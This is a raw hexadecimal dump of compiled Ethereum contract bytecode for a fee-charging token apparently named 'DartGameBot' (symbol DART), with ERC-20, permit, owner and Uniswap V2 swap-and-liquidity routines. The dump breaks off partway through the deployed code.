f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892b602081905260408220545f80516020614147833981519152919061ffff811690614000811661800090911617156113c157602085015160408601516060870151801582158415171715612332575f80fd5b600186015560028501556003840155506001949350505050565b335f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892b602081905260408220545f80516020614147833981519152919061ffff811690614000811661800090911617156113c15761271185106123b0575f80fd5b82547fffffffffffffffffffffffffff0000ffffffffffffffffffffffffffffffffff16608886901b72ffff000000000000000000000000000000000016178355506001949350505050565b335f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892b602081905260408220545f80516020614147833981519152919061ffff811690614000811661800090911617156113c1578460401c61ffff8660301c1661ffff8760201c1661ffff8860101c1661ffff8916808284868801010101612710811461248a575f80fd5b5087545f5b60058110156125145761ffff603860108302011b5f8280156124d057600181146124d857600281146124e057600381146124e857600481146124f0576124f4565b8991506124f4565b8891506124f4565b8791506124f4565b8691506124f4565b8591505b508181601085026038011b1682198516179350505060018101905061248f565b5088555050505050506001949350505050565b6001600160a01b0381165f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892b60205260408120610b52565b7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888925805473ffffffffffffffffffffffffffffffffffffffff1981166001600160a01b038481169182179093556040517fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888924939092169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3505050565b61105781612619846001600160a01b0316612527565b90815461ffff198116600160ff939093169290921b61ffff9182161816179055565b6001600160a01b038481165f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892d60209081526040808320938716835292905220829055801561131657826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516126cc91815260200190565b60405180910390a350505050565b6001600160a01b0381165f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892b602052604081207fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888926805491927fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a008718889249261276c9069ffffffffffffffffffff16613ff1565b825469ffffffffffffffffffff9182166101009390930a83810290830219909116179092558354600160501b91820273ffffffffffffffffffff0000000000000000000019909116178085556001850180546001600160a01b0390971673ffffffffffffffffffffffffffffffffffffffff1997881681179091559190049091165f9081526008909201602052604090912080549093161790915590565b610dc561281f826001600160a01b0316612527565b6137fa565b335f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892b602081905260408220545f80516020614147833981519152919061ffff811690614000811661800090911617156113c1578460201c61ffff8660101c1661ffff87166103e98110156103e98310156103e98510151717156128a9575f80fd5b85545f5b60038110156129125761ffff600860108302011b5f8280156128de57600181146128e657600281146128ee576128f2565b8791506128f2565b8691506128f2565b8591505b508181601085026008011b168219851617935050506001810190506128ad565b508655505050506001949350505050565b335f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892b6020819052604082205461ffff81169061400081166180009091161761296d575f80fd5b50600191505b828410156129cb575f6129868686613807565b905061299a816001600160a01b03166126da565b506001600160a01b0381165f9081526020839052604090206129bf9060096001613872565b50600190930192612973565b509392505050565b5f806129e7836001600160a01b0316612527565b805490915067ffffffffffffffff62010000909104811610612a1557805469ffffffffffffffff0000191681555b805469ffffffffffffffff0000198116620100009182900467ffffffffffffffff908116600181019091169092021790915592915050565b5f612a56610b91565b6040517f19010000000000000000000000000000000000000000000000000000000000006020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050919050565b5f610b52612ac4836001600160a01b0316612527565b6040805160a081018252825461ffff8116825262010000810467ffffffffffffffff166020830152600160501b810469ffffffffffffffffffff1692820192909252600160a01b9091046001600160601b031660608201526001909101546001600160a01b031660808201526138b0565b5f610b52612b4b836001600160a01b0316612527565b6040805160a081018252825461ffff8116825262010000810467ffffffffffffffff166020830152600160501b810469ffffffffffffffffffff1692820192909252600160a01b9091046001600160601b031660608201526001909101546001600160a01b031660808201526138c2565b5f805f612bd78780515f906001600b9190911c811614610b52565b80612bf55750612bf58680515f906001600b9190911c811614610b52565b80612bfd5750835b15612c0f57505f915083905081612f40565b865160091c60019081161480612c2c5750855160091c6001908116145b15612c75576002880154600160501b900460ff16612c75576127106109c4860260028a0180546aff000000000000000000001916600160501b1790550492508285039150612f40565b6002880154600160501b900460ff16612cba576040517f8a716db100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b604080516101808101825260038a8101805460ff8116845261010080820461ffff908116602087015263010000008304811686880152650100000000008304811660608088019190915267010000000000000084048216608088015269010000000000000000008404821660a0880152600160581b8404821660c0880152600160681b8404821660e0880152600160781b8404821692870192909252600160881b830416610120860152600160981b90910462ffffff166101408501528451908101948590525f94919261016085019260048f01919082845b81546001600160a01b03168152600190910190602001808311612d935750505050508152505090505f80612dd1835160808082161491607f90911690565b91509150612dde896138d4565b612e8757612710612dee8b6138d4565b612e1057612dfc8b8b6138e6565b612e0a578360600151612e16565b5f612e16565b83602001515b61ffff16890281612e2957612e29614019565b04955085880394508115612e825760018b01545f906064906001600160601b03600160a01b909104811660ff85160216046001600160601b0316905080868b606001516001600160601b0316011115612e80575f80fd5b505b612f3c565b60408301516127109061ffff1689020495505f83610120015161ffff1611612eca5785612eb330612527565b54600160a01b90046001600160601b031601612eff565b61012083015160018c0154612710916001600160601b03600160a01b909204821661ffff919091160216046001600160601b03165b935085880394508115612f3c5760018b015460646001600160601b03600160a01b909204821660ff8416028216041680891115612f3a575f80fd5b505b5050505b955095509592505050565b825481906001600160601b03600160a01b90910481169082161115612fcd57600184015484546040517fdb42144d0000000000000000000000000000000000000000000000000000000081526001600160a01b039092166004830152600160a01b90046001600160601b03908116602483015282166044820152606401610af1565b83546001600160601b03600160a01b8083048216849003821681026001600160a01b0393841617875585548181048316850190921602908216178455600184810154908601546040519183169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906126cc9085906001600160601b0391909116815260200190565b7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a008718889268054600160581b60ff60581b19909116811790915560408051610180810182525f80516020614147833981519152805460ff8116835261ffff6101008083048216602086015263010000008304821685870152650100000000008304821660608087019190915267010000000000000084048316608087015269010000000000000000008404831660a0870152968304821660c0860152600160681b8304821660e0860152600160781b8304821690850152600160881b82041661012084015262ffffff600160981b909104166101408301528251938401928390525f93919290916101608401917fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a008718889289060039082845b81546001600160a01b031681526001909101906020018083116131895750505050508152505090505f600267ffffffffffffffff8111156131cc576131cc613ae8565b6040519080825280602002602001820160405280156131f5578160200160208202803683370190505b50905030815f8151811061320b5761320b613f18565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613287573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906132ab9190613fd6565b816001815181106132be576132be613f18565b6001600160a01b039092166020928302919091019091015261010082015183905f906127109061ffff16156133525760028161ffff1686610100015161ffff1685026001600160601b03168161331657613316614019565b046001600160601b03168161332d5761332d614019565b0491508183039250600285610100015161ffff168161334e5761334e614019565b0490035b6040517f18cbafe500000000000000000000000000000000000000000000000000000000815247906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906318cbafe5906133c19087905f908a903090429060040161402d565b5f604051808303815f875af11580156133dc573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405261340391908101906140a5565b505f8082470390505f805f805f8c60e0015161ffff161115613449578761ffff168c60e0015161ffff1686026001600160601b03168161344557613445614019565b0493505b60c08c015161ffff1615613481578761ffff168c60c0015161ffff1686026001600160601b03168161347d5761347d614019565b0492505b60a08c015161ffff16156134b9578761ffff168c60a0015161ffff1686026001600160601b0316816134b5576134b5614019565b0491505b60808c015161ffff16156134f1578761ffff168c6080015161ffff1686026001600160601b0316816134ed576134ed614019565b0490505b6001600160601b0384161561350a5761350a3085612086565b6001600160601b0381161561358a576101608c0151516101408d01516040516001600160a01b039092169162ffffff909116906001600160601b038416905f818181858888f193505050503d805f811461357f576040519150601f19603f3d011682016040523d82523d5f602084013e613584565b606091505b50909650505b6001600160601b0382161561360e576101608c0151600160200201516001600160a01b0316826001600160601b03168d610140015162ffffff16906040515f60405180830381858888f193505050503d805f8114613603576040519150601f19603f3d011682016040523d82523d5f602084013e613608565b606091505b50909650505b6001600160601b03831615613692576101608c0151600260200201516001600160a01b0316836001600160601b03168d610140015162ffffff16906040515f60405180830381858888f193505050503d805f8114613687576040519150601f19603f3d011682016040523d82523d5f602084013e61368c565b606091505b50909650505b6001600160601b038916156137a6575f60028961ffff168e610100015161ffff1688026001600160601b0316816136cb576136cb614019565b046001600160601b0316816136e2576136e2614019565b60405163f305d71960e01b815230600482018190526001600160601b038e811660248401525f60448401819052606484015260848301919091524260a48301529290910492506001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169163f305d719919084169060c40160606040518083038185885af115801561377c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906137a19190613fab565b505050505b5050505050505050505050505f6137da7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892490565b6002018054911515600160581b0260ff60581b1990921691909117905550565b610dc581600a6001613872565b5f607f821161383257825f526094600b5360d6600a5381821560071b17602053506017600a20610b52565b60085b82811c1561384557600801613835565b60031c828152600884901b5f5260808101601f536094600a538060d6016009536017016009209392505050565b8061388b578254600160ff84161b191661ffff1661389a565b825461ffff16600160ff84161b175b835461ffff191661ffff91909116179092555050565b80515f90600d1c600190811614610b52565b80515f90600e1c600190811614610b52565b80515f90600a1c600190811614610b52565b5f6138f0836138fb565b80610b8a5750610b8a825b80515f9060091c600190811614610b52565b60408051610180810182525f80825260208201819052918101829052606081018290526080810182905260a0810182905260c0810182905260e08101829052610100810182905261012081018290526101408101919091526101608101613972613977565b905290565b60405180606001604052806003906020820280368337509192915050565b5f81518084525f5b818110156139b95760208185018101518683018201520161399d565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f610b8a6020830184613995565b6001600160a01b0381168114610dc5575f80fd5b5f8060408385031215613a0f575f80fd5b8235613a1a816139ea565b946020939093013593505050565b5f805f60608486031215613a3a575f80fd5b8335613a45816139ea565b92506020840135613a55816139ea565b929592945050506040919091013590565b5f60208284031215613a76575f80fd5b5035919050565b803561ffff81168114613a8e575f80fd5b919050565b5f8060408385031215613aa4575f80fd5b8235613aaf816139ea565b9150613abd60208401613a7d565b90509250929050565b5f60208284031215613ad6575f80fd5b813562ffffff81168114610b8a575f80fd5b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff81118282101715613b2557613b25613ae8565b604052919050565b5f6020808385031215613b3e575f80fd5b823567ffffffffffffffff80821115613b55575f80fd5b818501915085601f830112613b68575f80fd5b813581811115613b7a57613b7a613ae8565b613b8c601f8201601f19168501613afc565b91508082528684828501011115613ba1575f80fd5b80848401858401375f90820190930192909252509392505050565b5f60208284031215613bcc575f80fd5b610b8a82613a7d565b5f60208284031215613be5575f80fd5b813569ffffffffffffffffffff81168114610b8a575f80fd5b5f60208284031215613c0e575f80fd5b8135610b8a816139ea565b7fff00000000000000000000000000000000000000000000000000000000000000881681525f602060e081840152613c5460e084018a613995565b8381036040850152613c66818a613995565b606085018990526001600160a01b038816608086015260a0850187905284810360c086015285518082528387019250908301905f5b81811015613cb757835183529284019291840191600101613c9b565b50909c9b505050505050505050505050565b803560ff81168114613a8e575f80fd5b5f8060408385031215613cea575f80fd5b8235613cf5816139ea565b9150613abd60208401613cc9565b5f60208284031215613d13575f80fd5b813565ffffffffffff81168114610b8a575f80fd5b5f805f60608486031215613d3a575f80fd5b8335613d45816139ea565b95602085013595506040909401359392505050565b5f805f805f805f60e0888a031215613d70575f80fd5b8735613d7b816139ea565b96506020880135613d8b816139ea565b95506040880135945060608801359350613da760808901613cc9565b925060a0880135915060c0880135905092959891949750929550565b5f8060408385031215613dd4575f80fd5b8235613ddf816139ea565b91506020830135613def816139ea565b809150509250929050565b805f5b60038110156113165781516001600160a01b0316845260209384019390910190600101613dfd565b815160ff1681526101c081016020830151613e46602084018261ffff169052565b506040830151613e5c604084018261ffff169052565b506060830151613e72606084018261ffff169052565b506080830151613e88608084018261ffff169052565b5060a0830151613e9e60a084018261ffff169052565b5060c0830151613eb460c084018261ffff169052565b5060e0830151613eca60e084018261ffff169052565b506101008381015161ffff9081169184019190915261012080850151909116908301526101408084015162ffffff169083015261016080840151613f1082850182613dfa565b505092915050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b80820180821115610b5257610b52613f2c565b61ffff828116828216039080821115613f6e57613f6e613f2c565b5092915050565b5f60208284031215613f85575f80fd5b5051919050565b5f60208284031215613f9c575f80fd5b81518015158114610b8a575f80fd5b5f805f60608486031215613fbd575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215613fe6575f80fd5b8151610b8a816139ea565b5f69ffffffffffffffffffff80831681810361400f5761400f613f2c565b6001019392505050565b634e487b7160e01b5f52601260045260245ffd5b5f60a082016001600160601b03881683526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156140845784516001600160a01b03168352938301939183019160010161405f565b50506001600160a01b03969096166060850152505050608001529392505050565b5f60208083850312156140b6575f80fd5b825167ffffffffffffffff808211156140cd575f80fd5b818501915085601f8301126140e0575f80fd5b8151818111156140f2576140f2613ae8565b8060051b9150614103848301613afc565b818152918301840191848101908884111561411c575f80fd5b938501935b8385101561413a57845182529385019390850190614121565b9897505050505050505056fecf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888927a2646970667358221220a5e037cd0c5e995ae97f3fee5c0060339cf4340f0229048b6619d1db2c137ae764736f6c63430008140033cf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888925cf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892bcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888924000000000000000000000000bd65b8ab5e48eb8ca76be0d03fc1aab58752dc40000000000000000000000000a33a663df4cb9fb2d7305b5cbef1965dc7c9b7be000000000000000000000000a33a663df4cb9fb2d7305b5cbef1965dc7c9b7be
Deployed Bytecode
0x6080604052600436106102c4575f3560e01c806373b9aa9111610170578063a965a51b116100d1578063d0e30db011610087578063e06174e411610062578063e06174e4146108aa578063f2fde38b146108cb578063f332b1ae146108ea575f80fd5b8063d0e30db0146102e3578063d505accf1461086c578063dd62ed3e1461088b575f80fd5b8063c03b68ba116100b7578063c03b68ba146107f1578063c3342e561461082e578063cda4c4081461084d575f80fd5b8063a965a51b146107ca578063ae14076c146107d2575f80fd5b80638da5cb5b116101265780639e8c708e1161010c5780639e8c708e1461076d578063a457c2d71461078c578063a9059cbb146107ab575f80fd5b80638da5cb5b1461071d57806395d89b4114610759575f80fd5b80637ecebe00116101565780637ecebe00146106b857806384b0196e146106d75780638cd92b0a146106fe575f80fd5b806373b9aa91146106855780637c0f1ee7146106a4575f80fd5b806339509351116102255780635dab2420116101db5780636e2ad758116101b65780636e2ad7581461063357806370a0823114610652578063715018a614610671575f80fd5b80635dab2420146105745780636cb07772146105f55780636d84249b14610614575f80fd5b806342966c681161020b57806342966c68146105175780634a97c9c0146105365780634c2babef14610555575f80fd5b806339509351146104e457806341e00bb914610503575f80fd5b806323b872dd1161027a578063313ce56711610260578063313ce5671461044057806332fe7b26146104855780633644e515146104d0575f80fd5b806323b872dd146103ee57806330adf81f1461040d575f80fd5b806307df7a0d116102aa57806307df7a0d1461035e578063095ea7b31461037257806318160ddd146103a1575f80fd5b80630614117a146102cf57806306fdde03146102e5575f80fd5b366102cb57005b5f80fd5b3480156102da575f80fd5b506102e36108fe565b005b3480156102f0575f80fd5b50604080516080810182525f8082529181018281527f0b4461727447616d65426f740444415254000000000000000000000000000000601f830152815182016020018051605f84015283905251606090820101919091525b60405161035591906139d8565b60405180910390f35b348015610369575f80fd5b506102e3610aff565b34801561037d575f80fd5b5061039161038c3660046139fe565b610b42565b6040519015158152602001610355565b3480156103ac575f80fd5b507fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892554600160a01b90046001600160601b03165b604051908152602001610355565b3480156103f9575f80fd5b50610391610408366004613a28565b610b58565b348015610418575f80fd5b506103e07f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b34801561044b575f80fd5b506104737f000000000000000000000000000000000000000000000000000000000000001281565b60405160ff9091168152602001610355565b348015610490575f80fd5b506104b87f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610355565b3480156104db575f80fd5b506103e0610b91565b3480156104ef575f80fd5b506103916104fe3660046139fe565b610c8a565b34801561050e575f80fd5b506102e3610cf1565b348015610522575f80fd5b506102e3610531366004613a66565b610dbb565b348015610541575f80fd5b50610391610550366004613a93565b610dc8565b348015610560575f80fd5b5061039161056f366004613ac6565b610ddc565b34801561057f575f80fd5b50610588610deb565b60405161035591905f60a08201905061ffff835116825267ffffffffffffffff602084015116602083015269ffffffffffffffffffff60408401511660408301526001600160601b0360608401511660608301526001600160a01b03608084015116608083015292915050565b348015610600575f80fd5b5061039161060f366004613b2d565b610e1e565b34801561061f575f80fd5b5061039161062e366004613bbc565b610e28565b34801561063e575f80fd5b5061039161064d366004613bd5565b610e36565b34801561065d575f80fd5b506103e061066c366004613bfe565b610e4c565b34801561067c575f80fd5b506102e3610e76565b348015610690575f80fd5b5061058861069f366004613bfe565b610e89565b3480156106af575f80fd5b506102e3610f37565b3480156106c3575f80fd5b506103e06106d2366004613bfe565b610f40565b3480156106e2575f80fd5b506106eb610f6a565b6040516103559796959493929190613c19565b348015610709575f80fd5b506102e3610718366004613cd9565b61103c565b348015610728575f80fd5b507fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888925546001600160a01b03166104b8565b348015610764575f80fd5b5061034861105b565b348015610778575f80fd5b506102e3610787366004613bfe565b6110b8565b348015610797575f80fd5b506103916107a63660046139fe565b61131c565b3480156107b6575f80fd5b506103916107c53660046139fe565b6113cc565b6102e36113e1565b3480156107dd575f80fd5b506103e06107ec366004613a66565b61176e565b3480156107fc575f80fd5b507fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892654600160501b900460ff16610391565b348015610839575f80fd5b50610391610848366004613d03565b61189a565b348015610858575f80fd5b50610391610867366004613d28565b6118ac565b348015610877575f80fd5b506102e3610886366004613d5a565b6118c9565b348015610896575f80fd5b506103e06108a5366004613dc3565b611ac7565b3480156108b5575f80fd5b506108be611b12565b6040516103559190613e25565b3480156108d6575f80fd5b506102e36108e5366004613bfe565b611c46565b3480156108f5575f80fd5b506102e3611c99565b60408051610180810182525f80516020614147833981519152805460ff8116835261010080820461ffff908116602086015263010000008304811685870152650100000000008304811660608087019190915267010000000000000084048216608087015269010000000000000000008404821660a0870152600160581b8404821660c0870152600160681b8404821660e0870152600160781b8404821692860192909252600160881b830416610120850152600160981b90910462ffffff166101408401528351908101938490525f93610160840191907fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a008718889289060039082845b81546001600160a01b031681526001909101906020018083116109fe57505050919092525050506101608101515161014082015160405192935047925f926001600160a01b03169162ffffff1690849084818181858888f193505050503d805f8114610a85576040519150601f19603f3d011682016040523d82523d5f602084013e610a8a565b606091505b5050905080610afa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f5478206661696c6564000000000000000000000000000000000000000000000060448201526064015b60405180910390fd5b505050565b610b07611cb9565b7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892680546aff000000000000000000001916600160501b179055565b5f610b4e338484611d2d565b5060015b92915050565b5f33610b6381611d3a565b610b7257610b72858285611d65565b610b868585856001600160601b0316611e12565b9150505b9392505050565b5f7f00000000000000000000000000000000000000000000000000000000000000014614610c6557610c60604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60208201527f69adb7e2a1d838cb921ba1aeb784275d3f5312113134161b5a627b008e109fbd918101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a08201525f9060c00160405160208183030381529060405280519060200120905090565b905090565b507f8d12e9d108850944c245ba28214e1e893296957c0d0040ac215f7dbfb80e108790565b335f8181527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892d602090815260408083206001600160a01b0387168452909152812054909190610ce79082908690610ce2908790613f40565b611d2d565b5060019392505050565b610cf9611cb9565b5f8051602061414783398151915280546101f4908290600190610d26908490610100900461ffff16613f53565b92506101000a81548161ffff021916908361ffff1602179055506101f4815f0160038282829054906101000a900461ffff16610d629190613f53565b92506101000a81548161ffff021916908361ffff1602179055506101f4815f0160058282829054906101000a900461ffff16610d9e9190613f53565b92506101000a81548161ffff021916908361ffff16021790555050565b610dc53382612086565b50565b5f610b8a6001600160a01b0384168361218c565b5f610b528262ffffff16612208565b6040805160a0810182525f80825260208201819052918101829052606081018290526080810191909152610c6033610e89565b5f610b52826122bb565b5f610b528261ffff1661234c565b5f610b528269ffffffffffffffffffff166123fc565b5f610e5f826001600160a01b0316612527565b54600160a01b90046001600160601b031692915050565b610e7e611cb9565b610e875f612562565b565b6040805160a0810182525f80825260208201819052918101829052606081018290526080810191909152610ec5826001600160a01b0316612527565b6040805160a081018252825461ffff8116825262010000810467ffffffffffffffff166020830152600160501b810469ffffffffffffffffffff1692820192909252600160a01b9091046001600160601b031660608201526001909101546001600160a01b0316608082015292915050565b610e87306110b8565b5f610f53826001600160a01b0316612527565b5462010000900467ffffffffffffffff1692915050565b5f6060805f805f6060610fbc7f0b4461727447616d65426f74000000000000000000000000000000000000000060606040519050604081016040525f815281601f8201525f8151602083010152919050565b6040805180820182525f8082527f0131000000000000000000000000000000000000000000000000000000000000601f83015281516020908301810182905283518281529081019093527f0f000000000000000000000000000000000000000000000000000000000000009b939a50909850469750309650945092509050565b611044611cb9565b6110576001600160a01b03831682612603565b5050565b604080516080810182525f8082529181018281527f0b4461727447616d65426f740444415254000000000000000000000000000000601f830152815182016020018051605f84015283905280516060908301810193909352610b52565b60408051610180810182525f80516020614147833981519152805460ff8116835261010080820461ffff908116602086015263010000008304811685870152650100000000008304811660608087019190915267010000000000000084048216608087015269010000000000000000008404821660a0870152600160581b8404821660c0870152600160681b8404821660e0870152600160781b8404821692860192909252600160881b830416610120850152600160981b90910462ffffff166101408401528351908101938490525f93610160840191907fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a008718889289060039082845b81546001600160a01b031681526001909101906020018083116111b8575050509190925250506040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529192505f916001600160a01b03851691506370a0823190602401602060405180830381865afa15801561123f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112639190613f75565b9050826001600160a01b031663a9059cbb8361016001515f6003811061128b5761128b613f18565b60200201516040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156112f2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113169190613f8c565b50505050565b335f8181527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892d602090815260408083206001600160a01b0387168452909152812054909190838110156113b4576040517ff8e06db20000000000000000000000000000000000000000000000000000000081526001600160a01b03861660048201526024810182905260448101859052606401610af1565b6113c18286868403611d2d565b506001949350505050565b5f610ce73384846001600160601b0316611e12565b7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888926805460ff60581b1916600160581b17905561141b611cb9565b7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a008718889245f61144630610e4c565b9050611475307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d5f195f61263b565b61148230305f195f61263b565b60405163f305d71960e01b81523060048201819052602482018390525f60448301819052606483015260848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990349060c40160606040518083038185885af1158015611508573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061152d9190613fab565b5050507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561158c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115b09190613fd6565b6001600160a01b031663e6a43905307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561161b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061163f9190613fd6565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156116a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116c49190613fd6565b825473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039190911690811783556116f7906126da565b50815461170c906001600160a01b031661280a565b81546117259030906001600160a01b03165f195f61263b565b50505f61174f7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892490565b6002018054911515600160581b0260ff60581b19909216919091179055565b5f8061177933612527565b8054909150600160501b900469ffffffffffffffffffff165f03611851577fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888926805469ffffffffffffffffffff16905f6117d183613ff1565b825469ffffffffffffffffffff9182166101009390930a92830292820219169190911790915582549116600160501b0273ffffffffffffffffffff000000000000000000001990911617815560018101546001600160a01b03166118515760018101805473ffffffffffffffffffffffffffffffffffffffff1916331790555b80546040518491600160501b900469ffffffffffffffffffff169033907f7d842667f749a5ac61180c742c62d621c78c94d961bfa60567a499ee28ffa4ab905f90a45090919050565b5f610b528265ffffffffffff16612824565b5f6118c16001600160a01b0385168484612923565b949350505050565b83421115611903576040517f1a15a3cc00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f60016119897f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a611936836129d3565b6040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810188905260e00160405160208183030381529060405280519060200120612a4d565b604080515f8152602081018083529290925260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa1580156119d4573d5f803e3d5ffd5b5050604051601f1901519150506001600160a01b0381161580611a095750876001600160a01b0316816001600160a01b031614155b15611a40576040517f815e1d6400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600160a01b039081165f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892d602090815260408083208a8516808552908352928190208990555188815291928a16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b6001600160a01b038083165f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892d60209081526040808320938516835292905290812054610b8a565b611b1a61390d565b60408051610180810182525f80516020614147833981519152805460ff8116835261010080820461ffff908116602086015263010000008304811685870152650100000000008304811660608087019190915267010000000000000084048216608087015269010000000000000000008404821660a0870152600160581b8404821660c0870152600160681b8404821660e0870152600160781b8404821692860192909252600160881b830416610120850152600160981b90910462ffffff16610140840152835190810193849052919290916101608401917fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a008718889289060039082845b81546001600160a01b03168152600190910190602001808311611c1b57505050505081525050905090565b611c4e611cb9565b6001600160a01b038116611c90576040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081525f6004820152602401610af1565b610dc581612562565b611ca1611cb9565b5f80516020614147833981519152805460ff19169055565b33611ceb7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888925546001600160a01b031690565b6001600160a01b031614610e87576040517f118cdaa7000000000000000000000000000000000000000000000000000000008152336004820152602401610af1565b610afa838383600161263b565b5f611d4d826001600160a01b0316612aae565b80610b525750610b52826001600160a01b0316612b35565b6001600160a01b038381165f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892d60209081526040808320938616835292905220545f1981146113165781811015611e04576040517f192b9e4e0000000000000000000000000000000000000000000000000000000081526001600160a01b03841660048201526024810182905260448101839052606401610af1565b61131684848484035f61263b565b5f6001600160a01b038416611e55576040517f4c14f64c0000000000000000000000000000000000000000000000000000000081525f6004820152602401610af1565b6001600160a01b038316611e97576040517f9cfea5830000000000000000000000000000000000000000000000000000000081525f6004820152602401610af1565b6001600160a01b038481165f9081527fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892b60205260408082208684168352912060018201547fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a008718889249316611f1657611f14876001600160a01b03166126da565b505b60018101546001600160a01b0316611f3c57611f3a866001600160a01b03166126da565b505b6040805160a08082018352845461ffff808216845267ffffffffffffffff62010000808404821660208088019190915269ffffffffffffffffffff600160501b8087048216898b01526001600160601b03600160a01b9788900481166060808c01919091526001808f01546001600160a01b039081166080808f01919091528e519c8d018f528f549a8b168d52978a04909816958b01959095529187049092169988019990995294909304909316958401959095528501549093169281019290925260028501545f9283928392612022928992918c9060ff600160581b90910416612bbc565b925092509250825f036120495761203a85858a612f4b565b60019650505050505050610b8a565b61205c8561205630612527565b85612f4b565b801561206b5761206b81613058565b612076858584612f4b565b5060019998505050505050505050565b5f612099836001600160a01b03